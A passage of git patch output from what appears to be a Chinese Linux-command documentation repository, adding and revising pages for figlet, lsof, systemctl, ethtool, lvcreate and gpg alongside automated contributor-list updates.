从公钥环中移除密钥 + --delete-secret-keys 从私钥环中移除密钥 + --quick-sign-key 快速签名密钥 + --quick-lsign-key 快速在本地签名密钥 + --quick-revoke-sig 快速撤销密钥签名 + --sign-key 签名密钥 + --lsign-key 本地签名密钥 + --edit-key 签名或编辑密钥 + --change-passphrase 更改密码短语 + --export 导出密钥 + --send-keys 将密钥导出到密钥服务器 + --receive-keys 从密钥服务器导入密钥 + --search-keys 在密钥服务器上搜索密钥 + --refresh-keys 从密钥服务器更新所有密钥 + --import 导入/合并密钥 + --card-status 打印卡片状态 + --edit-card 更改卡片上的数据 + --change-pin 更改卡片的PIN码 + --update-trustdb 更新信任数据库 + --print-md 打印消息摘要 + --server 以服务器模式运行 + --tofu-policy VALUE 为密钥设置TOFU策略 +``` + +### 选项: + +```shell + -a, --armor 指定ascii格式的输出 + -r, --recipient USER-ID 对特定用户ID的加密 + -u, --local-user USER-ID 使用 USER-ID 进行签名或解密 + -z N 设置压缩级别为N（0表示禁用） + --textmode 使用规范文本模式 + -o, --output FILE 将输出写入文件FILE + -v, --verbose 详细模式 + -n, --dry-run 不做任何更改 + -i, --interactive 在覆盖前提示 + --openpgp 使用严格的OpenPGP行为 +``` + +### 示例: + +```shell + -se -r Bob [file] 为用户Bob签名并加密 + --clear-sign [file] 生成明文签名 + --detach-sign [file] 生成一个独立的签名 + --list-keys [names] 显示密钥 + --fingerprint [names] 显示指纹 +``` From 1d6d128328c6f1af578a7a5b4b354f5ea22d9cf4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 09:32:20 +0000 Subject: [PATCH 332/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 539d7f6b0be..72027c509b8 100644 --- a/README.md +++ b/README.md @@ -372,7 +372,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -项金 +拾年老铺 clay-wangzhi Glett 烟草的香味 From f707edbaa04a6f18ece734d3febc17f693766b75 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 09:32:21 +0000 Subject: [PATCH 333/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index fff65c6ae51..1948fb9b80f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,7 +9,7 @@ Huck Huang lutixiaya L -项金 +拾年老铺 clay-wangzhi Glett 烟草的香味 From b764667dff672c1a77db7105d8cab838568436fd Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Wed, 8 May 2024 07:56:40 +0800 Subject: [PATCH 334/570] doc: add figlet.md (#576) * add figlet.md * append description for install --- command/figlet.md | 160 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 command/figlet.md diff --git a/command/figlet.md b/command/figlet.md new file mode 100644 index 00000000000..1b1dbcb9421 --- /dev/null +++ b/command/figlet.md @@ -0,0 +1,160 @@ +figlet +=== + +字符串转为 “字画符”。 + +## 安装 + ++ Ubuntu 等系统 + +```shell +apt-get update +apt-get install -y figlet +``` + ++ CentOS 等系统 + +```shell +yum install epel-release +yum install -y figlet +``` + +## 概要 + +```shell +figlet [ message ] [ -option ] +``` + +## 主要用途 + +- 将普通字符串转为有简单字符拼接而成的 “字画符”。 + +## 参数 + +message 是需要转换的字符串。 +当没有输入 message 时，会读取标准输入，因此可以配合管道符等使用。 + +## 选项 + +```shell +-w 限制输出宽度，默认为 '80' +-c 居中显示 +-f 指定字体，默认为 'standard' +-k 保留字符之间的空隙 +-t 对齐宽度到当前终端的宽度，这个参数优先级比 -w 高 +-v 显示版本信息 +``` + +## 返回值 + +字符串，由简单字符拼接而成的 “字画符”。 + +## 示例 + +- 从参数输入 + +```shell +figlet 'Hello, World!' +``` + +

+ _   _      _ _         __        __         _     _ _
+| | | | ___| | | ___    \ \      / /__  _ __| | __| | |
+| |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
+|  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
+|_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 配合管道符输入 + +```shell +echo 'Hello, World!' | figlet +``` + +
+ _   _      _ _         __        __         _     _ _
+| | | | ___| | | ___    \ \      / /__  _ __| | __| | |
+| |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
+|  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
+|_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 限制宽度 + +```shell +figlet 'Hello, World!' -w 40 +``` + +
+ _   _      _ _
+| | | | ___| | | ___
+| |_| |/ _ \ | |/ _ \
+|  _  |  __/ | | (_) |
+|_| |_|\___|_|_|\___( )
+                    |/
+__        __         _     _ _
+\ \      / /__  _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+  \ V  V / (_) | |  | | (_| |_|
+   \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 居中显示 + +```shell +figlet 'Hello, World!' -w 40 -c +``` + +
+         _   _      _ _
+        | | | | ___| | | ___
+        | |_| |/ _ \ | |/ _ \
+        |  _  |  __/ | | (_) |
+        |_| |_|\___|_|_|\___( )
+                            |/
+    __        __         _     _ _
+    \ \      / /__  _ __| | __| | |
+     \ \ /\ / / _ \| '__| |/ _` | |
+      \ V  V / (_) | |  | | (_| |_|
+       \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 指定字体 + +```shell +figlet 'Hello, World!' -w 40 -c -f slant +``` + +
+            __  __     ____
+           / / / /__  / / /___
+          / /_/ / _ \/ / / __ \
+         / __  /  __/ / / /_/ /
+        /_/ /_/\___/_/_/\____( )
+                             |/
+     _       __           __    ____
+    | |     / /___  _____/ /___/ / /
+    | | /| / / __ \/ ___/ / __  / /
+    | |/ |/ / /_/ / /  / / /_/ /_/
+    |__/|__/\____/_/  /_/\__,_(_)
+
+ +- 保留字符之间的空隙 + +```shell +figlet 'Hello, World!' -w 40 -c -k +``` + +
+       _   _        _  _
+      | | | |  ___ | || |  ___
+      | |_| | / _ \| || | / _ \
+      |  _  ||  __/| || || (_) |_
+      |_| |_| \___||_||_| \___/( )
+                               |/
+  __        __            _      _  _
+  \ \      / /___   _ __ | |  __| || |
+   \ \ /\ / // _ \ | '__|| | / _` || |
+    \ V  V /| (_) || |   | || (_| ||_|
+     \_/\_/  \___/ |_|   |_| \__,_|(_)
+
From 47e7cd9a755b69914617877ad23250ea90c594ff Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 7 May 2024 23:57:07 +0000 Subject: [PATCH 335/570] doc: update README.md. --- README.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 72027c509b8..a78af5f482f 100644 --- a/README.md +++ b/README.md @@ -372,7 +372,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -拾年老铺 +圆头圆脑 clay-wangzhi Glett 烟草的香味 @@ -396,11 +396,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 沙漠之子 Shell xhal -wVVaTT +VVatt gggwvg Dazhuangw Alterem YH +YEUNGCHIE Xrtero Xingwen Zhang Shan Chenyu @@ -408,12 +409,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 BingCoke Pan, Wen-Ming Ein Verne -kassadin -kid1412621 -leo -lewis1573 -linuxwd Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin cole myliwenbo miniwater @@ -435,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -cxalc +Mystic Yidan Wang Panthea Johnson 远方 @@ -466,7 +467,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc -Mystic MinsonLee Marnm mwei @@ -495,6 +495,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang @@ -506,7 +507,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 0Knot (0KN) Yunbin Liu Yan Sheng -YEUNGCHIE Xu Chunyang Xonline-Tech Xiaodong DENG From 4df5e92106e6e3cc5d05130c151d237863606a1b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 7 May 2024 23:57:07 +0000 Subject: [PATCH 336/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1948fb9b80f..a5f02f92225 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,7 +9,7 @@ Huck Huang lutixiaya L -拾年老铺 +圆头圆脑 clay-wangzhi Glett 烟草的香味 @@ -33,11 +33,12 @@ 沙漠之子 Shell xhal -wVVaTT +VVatt gggwvg Dazhuangw Alterem YH +YEUNGCHIE Xrtero Xingwen Zhang Shan Chenyu @@ -45,12 +46,12 @@ BingCoke Pan, Wen-Ming Ein Verne -kassadin -kid1412621 -leo -lewis1573 -linuxwd Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin cole myliwenbo miniwater @@ -72,7 +73,7 @@ dongpohezui Deny dayday -cxalc +Mystic Yidan Wang Panthea Johnson 远方 @@ -103,7 +104,6 @@ snovey shuangcui shc -Mystic MinsonLee Marnm mwei @@ -132,6 +132,7 @@ Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang @@ -143,7 +144,6 @@ 0Knot (0KN) Yunbin Liu Yan Sheng -YEUNGCHIE Xu Chunyang Xonline-Tech Xiaodong DENG From f9babe1e8092e8be0ca0b1a4d09d854aad02982d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 8 May 2024 07:59:14 +0800 Subject: [PATCH 337/570] doc: update command/figlet.md #576 --- command/figlet.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/command/figlet.md b/command/figlet.md index 1b1dbcb9421..910c06fde57 100644 --- a/command/figlet.md +++ b/command/figlet.md @@ -51,41 +51,41 @@ message 是需要转换的字符串。 ## 示例 -- 从参数输入 +### 从参数输入 ```shell figlet 'Hello, World!' ``` -
+```bash
  _   _      _ _         __        __         _     _ _
 | | | | ___| | | ___    \ \      / /__  _ __| | __| | |
 | |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
 |  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
 |_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 配合管道符输入 +### 配合管道符输入 ```shell echo 'Hello, World!' | figlet ``` -
+```bash
  _   _      _ _         __        __         _     _ _
 | | | | ___| | | ___    \ \      / /__  _ __| | __| | |
 | |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
 |  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
 |_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 限制宽度 +### 限制宽度 ```shell figlet 'Hello, World!' -w 40 ``` -
+```bash
  _   _      _ _
 | | | | ___| | | ___
 | |_| |/ _ \ | |/ _ \
@@ -97,15 +97,15 @@ __        __         _     _ _
  \ \ /\ / / _ \| '__| |/ _` | |
   \ V  V / (_) | |  | | (_| |_|
    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 居中显示 +### 居中显示 ```shell figlet 'Hello, World!' -w 40 -c ``` -
+```bash
          _   _      _ _
         | | | | ___| | | ___
         | |_| |/ _ \ | |/ _ \
@@ -117,15 +117,15 @@ figlet 'Hello, World!' -w 40 -c
      \ \ /\ / / _ \| '__| |/ _` | |
       \ V  V / (_) | |  | | (_| |_|
        \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 指定字体 +### 指定字体 ```shell figlet 'Hello, World!' -w 40 -c -f slant ``` -
+```bash
             __  __     ____
            / / / /__  / / /___
           / /_/ / _ \/ / / __ \
@@ -137,15 +137,15 @@ figlet 'Hello, World!' -w 40 -c -f slant
     | | /| / / __ \/ ___/ / __  / /
     | |/ |/ / /_/ / /  / / /_/ /_/
     |__/|__/\____/_/  /_/\__,_(_)
-
+``` -- 保留字符之间的空隙 +### 保留字符之间的空隙 ```shell figlet 'Hello, World!' -w 40 -c -k ``` -
+```bash
        _   _        _  _
       | | | |  ___ | || |  ___
       | |_| | / _ \| || | / _ \
@@ -157,4 +157,4 @@ figlet 'Hello, World!' -w 40 -c -k
    \ \ /\ / // _ \ | '__|| | / _` || |
     \ V  V /| (_) || |   | || (_| ||_|
      \_/\_/  \___/ |_|   |_| \__,_|(_)
-
+``` From 9b2d0a2da4b9b948287ef445a6a81be89849009d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 8 May 2024 08:04:10 +0800 Subject: [PATCH 338/570] doc: update command/figlet.md #576 --- command/fgrep.md | 4 ++-- command/figlet.md | 14 +++++++------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/command/fgrep.md b/command/fgrep.md index fa64eaf0316..15bb38859c7 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -17,13 +17,13 @@ fgrep 命令于 grep 和 egrep 命令不同，因为它搜索字符串而不是 6. 输入文件应该以换行字符结尾。 7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 -### 语法 +### 语法 ```shell fgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 diff --git a/command/figlet.md b/command/figlet.md index 910c06fde57..00934f2c03b 100644 --- a/command/figlet.md +++ b/command/figlet.md @@ -3,32 +3,32 @@ figlet 字符串转为 “字画符”。 +## 补充说明 + +将普通字符串转为有简单字符拼接而成的 “字画符”。 + ## 安装 -+ Ubuntu 等系统 +Ubuntu 等系统 ```shell apt-get update apt-get install -y figlet ``` -+ CentOS 等系统 +CentOS 等系统 ```shell yum install epel-release yum install -y figlet ``` -## 概要 +## 语法 ```shell figlet [ message ] [ -option ] ``` -## 主要用途 - -- 将普通字符串转为有简单字符拼接而成的 “字画符”。 - ## 参数 message 是需要转换的字符串。 From fe5f89b457f87a71d1fee54177b511f418c07b67 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 8 May 2024 12:06:13 +0800 Subject: [PATCH 339/570] doc: Update lsof.md #577 --- command/lsof.md | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) diff --git a/command/lsof.md b/command/lsof.md index 5c419977c19..59ca84d9c2d 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -156,8 +156,100 @@ lsof -i:9981 -P -t -sTCP:LISTEN ```shell lsof $filename ``` + 查看端口占用 ```shell lsof -i:$port ``` +**查看所有打开的文件：** + +``` +lsof +``` + +**查看指定进程打开的文件：** + +``` +lsof -p +``` + +**查看指定用户打开的文件：** + +``` +lsof -u +``` + +**查看指定文件名相关的进程：** + +``` +lsof +``` + +**查看网络连接相关的进程：** + +``` +lsof -i +``` + +**查看指定端口相关的进程：** + +``` +lsof -i : +``` + +**查看正在使用某个目录的进程：** + +``` +lsof +D /path/to/directory +``` + +**查看被删除但仍然被某个进程打开的文件：** + +``` +lsof -u +L1 +``` + +**查看某个文件系统上被打开的文件：** + +``` +lsof /mountpoint +``` + +**以列表形式显示结果：** + +``` +lsof -F +``` + +**显示结果中不包含主机名：** + +``` +lsof -n +``` + +**显示结果中不包含进程路径：** + +``` +lsof -b +``` + +**以逆序显示结果：** + +``` +lsof -r +``` + +**以特定间隔时间循环显示结果：** + +``` +lsof -r +``` + +**以持续模式显示结果：** + +``` +lsof -t +``` + + From 5a574c8c69b1852c6403eecdc76a8dd6d5b7c5dc Mon Sep 17 00:00:00 2001 From: 0x_000 <32635468+loprx@users.noreply.github.com> Date: Tue, 14 May 2024 22:03:40 +0800 Subject: [PATCH 340/570] doc: update systemctl.md (#578) --- command/systemctl.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/command/systemctl.md b/command/systemctl.md index d4b41c7a36e..4a474c9cb0d 100644 --- a/command/systemctl.md +++ b/command/systemctl.md @@ -23,7 +23,9 @@ systemctl ```shell systemctl start nfs-server.service . # 启动nfs服务 systemctl enable nfs-server.service # 设置开机自启动 +systemctl enable nfs-server.service --now # 设置开机自启动，并立刻启动 systemctl disable nfs-server.service # 停止开机自启动 +systemctl disable nfs-server.service --now # 停止开机自启动，并立刻停止 systemctl status nfs-server.service # 查看服务当前状态 systemctl restart nfs-server.service # 重新启动某服务 systemctl list-units --type=service # 查看所有已启动的服务 From 75281c887fd4ccfb094ce889b04fa08a04eaa69c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 May 2024 14:04:12 +0000 Subject: [PATCH 341/570] doc: update README.md. --- README.md | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index a78af5f482f..7d273831976 100644 --- a/README.md +++ b/README.md @@ -398,30 +398,30 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 xhal VVatt gggwvg +BingCoke +Ein Verne +Pan, Wen-Ming +RichardLCD +Shan Chenyu Dazhuangw Alterem YH +Xingwen Zhang YEUNGCHIE Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -BingCoke -Pan, Wen-Ming -Ein Verne +sfwwslm +rexlin600 +oliver +noodles2hg +miniwater +myliwenbo +cole Ricardowang linuxwd lewis1573 leo kid1412621 kassadin -cole -myliwenbo -miniwater -noodles2hg -oliver -rexlin600 -sfwwslm juemuren4449 jqz3.tech jcdj666 @@ -436,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -Mystic +cxalc Yidan Wang Panthea Johnson 远方 @@ -495,7 +495,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan -cxalc +0x_000 Forever121 c2ch brinkqiang @@ -523,7 +523,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 3d834fd5d4e1a2b711358fce4d0b3630cacda5fb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 May 2024 14:04:13 +0000 Subject: [PATCH 342/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a5f02f92225..ec23d2f4445 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,30 +35,30 @@ xhal VVatt gggwvg +BingCoke +Ein Verne +Pan, Wen-Ming +RichardLCD +Shan Chenyu Dazhuangw Alterem YH +Xingwen Zhang YEUNGCHIE Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -BingCoke -Pan, Wen-Ming -Ein Verne +sfwwslm +rexlin600 +oliver +noodles2hg +miniwater +myliwenbo +cole Ricardowang linuxwd lewis1573 leo kid1412621 kassadin -cole -myliwenbo -miniwater -noodles2hg -oliver -rexlin600 -sfwwslm juemuren4449 jqz3.tech jcdj666 @@ -73,7 +73,7 @@ dongpohezui Deny dayday -Mystic +cxalc Yidan Wang Panthea Johnson 远方 @@ -132,7 +132,7 @@ Cui Yang Azroy Alan -cxalc +0x_000 Forever121 c2ch brinkqiang @@ -160,7 +160,8 @@ Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 1faf846d07574b0c4e4da0cff631b3461a48b545 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8A=81?= Date: Thu, 16 May 2024 11:50:07 +0800 Subject: [PATCH 343/570] doc: Update README.md (#579) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 增加web镜像网站，getaifun.com --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7d273831976..38f3c313d38 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From 585f6780948672d68b1cc24b825974c8d32d49d2 Mon Sep 17 00:00:00 2001 From: SunX Date: Sun, 19 May 2024 16:53:34 +0800 Subject: [PATCH 344/570] doc: Update ethtool.md (#580) --- command/ethtool.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ethtool.md b/command/ethtool.md index 9f7bd501695..9692706d49a 100644 --- a/command/ethtool.md +++ b/command/ethtool.md @@ -76,7 +76,7 @@ Ethtool命令显示的信息来源于网卡驱动层，即TCP/ip协议的链路 查看机器上网卡的速度：百兆还是千兆，请输入： ```shell -ethool eth0 +ethtool eth0 ``` 操作完毕后，输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX，请输入： From 723890ffc0733db69938f5cf4f187af71f9f790a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 19 May 2024 08:54:00 +0000 Subject: [PATCH 345/570] doc: update README.md. --- README.md | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 38f3c313d38..5206ff54240 100644 --- a/README.md +++ b/README.md @@ -403,25 +403,26 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming RichardLCD Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -Xingwen Zhang -YEUNGCHIE -Xrtero -sfwwslm -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +Yidan Wang juemuren4449 jqz3.tech jcdj666 @@ -437,11 +438,11 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Yidan Wang Panthea Johnson 远方 谢民皆 Kyofin +老犁 继刚 移动的红烧肉 极简XksA @@ -467,6 +468,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc +Forever121 MinsonLee Marnm mwei @@ -496,7 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -514,6 +515,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wingrez Na Meng T-TRz879 +SunX Spaghetti-C RoachZhao Azolla From 65957290c2d556281d3c08b255f1725cd7be5b35 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 19 May 2024 08:54:01 +0000 Subject: [PATCH 346/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ec23d2f4445..87d083b347a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -40,25 +40,26 @@ Pan, Wen-Ming RichardLCD Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -Xingwen Zhang -YEUNGCHIE -Xrtero -sfwwslm -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +Yidan Wang juemuren4449 jqz3.tech jcdj666 @@ -74,11 +75,11 @@ Deny dayday cxalc -Yidan Wang Panthea Johnson 远方 谢民皆 Kyofin +老犁 继刚 移动的红烧肉 极简XksA @@ -104,6 +105,7 @@ snovey shuangcui shc +Forever121 MinsonLee Marnm mwei @@ -133,7 +135,6 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -151,6 +152,7 @@ Wingrez Na Meng T-TRz879 +SunX Spaghetti-C RoachZhao Azolla From 1a4d7120f7dd4ae5aa832aa4df1be3f43f9df919 Mon Sep 17 00:00:00 2001 From: QinShower Date: Mon, 17 Jun 2024 01:42:31 +0800 Subject: [PATCH 347/570] doc: Update lvcreate.md (#584) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit lvcreate 缺少 -n 参数 --- command/lvcreate.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/lvcreate.md b/command/lvcreate.md index bea90263e8e..71c5cb5ef76 100644 --- a/command/lvcreate.md +++ b/command/lvcreate.md @@ -16,6 +16,7 @@ lvcreate(选项)(参数) ### 选项 ```shell +-n: 指定逻辑卷的名称 -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 ``` @@ -29,7 +30,7 @@ lvcreate(选项)(参数) 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令： ```shell -[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 +[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷 ``` 输出信息如下： From f7a82f449aef17b3a63820521fc4d9d4fac007a2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Jun 2024 17:43:12 +0000 Subject: [PATCH 348/570] doc: update README.md. --- README.md | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 5206ff54240..8f5c231b2da 100644 --- a/README.md +++ b/README.md @@ -403,26 +403,24 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming RichardLCD Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -kassadin -kid1412621 -leo -lewis1573 -linuxwd -Ricardowang -cole -myliwenbo -miniwater -noodles2hg -oliver +Xingwen Zhang +YEUNGCHIE +Xrtero rexlin600 -sfwwslm -Yidan Wang +oliver +noodles2hg +miniwater +myliwenbo +cole +Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin juemuren4449 jqz3.tech jcdj666 @@ -438,6 +436,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc +Forever121 +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -464,11 +464,11 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 UniqueDing tutianyu101 tangke -sunls24 snovey shuangcui shc -Forever121 +sfwwslm +c2ch MinsonLee Marnm mwei @@ -498,7 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -526,6 +525,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus Rining Wu Ray Yee +QinShower Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ca97f8af2de25e3f1682b39383789eaf41b06b9b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Jun 2024 17:43:13 +0000 Subject: [PATCH 349/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 87d083b347a..38f7c28bdf5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -40,26 +40,24 @@ Pan, Wen-Ming RichardLCD Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -kassadin -kid1412621 -leo -lewis1573 -linuxwd -Ricardowang -cole -myliwenbo -miniwater -noodles2hg -oliver +Xingwen Zhang +YEUNGCHIE 